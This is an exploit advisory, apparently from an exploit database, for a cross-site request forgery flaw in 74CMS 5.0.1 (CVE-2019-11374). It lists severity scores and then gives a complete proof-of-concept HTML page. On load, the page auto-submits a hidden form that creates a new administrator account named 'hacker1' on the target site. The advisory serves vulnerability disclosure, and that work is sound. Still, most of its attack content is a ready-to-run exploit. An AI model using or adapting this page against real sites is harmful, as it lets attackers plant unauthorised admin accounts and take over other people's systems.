74CMS 5.0.1 Cross Site Request Forgery

2019.04.24

Credit: ax8

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2019-11374

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: 74CMS v5.0.1 has a CSRF vulnerability to add a new admin user
# Date: 2019-04-14
# Exploit Author: ax8
# Vendor Homepage: https://github.com/Li-Siyuan
# Software Link: http://www.74cms.com/download/index.html
# Version: v5.0.1
# CVE : CVE-2019-11374

74CMS v5.0.1 has a CSRF vulnerability to add a new admin user via the index.php?m=Admin&c=admin&a=add URI.

<!--poc.html(creat a administrater)-->

<!DOCTYPE html>

<html>

  <head>

  <title> CSRF Proof</title>

  <script type="text/javascript">

    function exec1(){

      document.getElementById('form1').submit();

    }

  </script>

  </head>

  <body onload="exec1();">

    <form id="form1" action="http://localhost/index.php?m=Admin&c=admin&a=add" method="POST">

      <input type="hidden" name="username" value="hacker1" />

  <input type="hidden" name="email" value="111111111@qq.com" />

      <input type="hidden" name="password" value="hacker1" />

      <input type="hidden" name="repassword" value="hacker1" />  

  <input type="hidden" name="role_id" value="1" />

    </form>

  </body>

</html>

See this note in RAW Version

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74CMS 5.0.1 Cross Site Request Forgery

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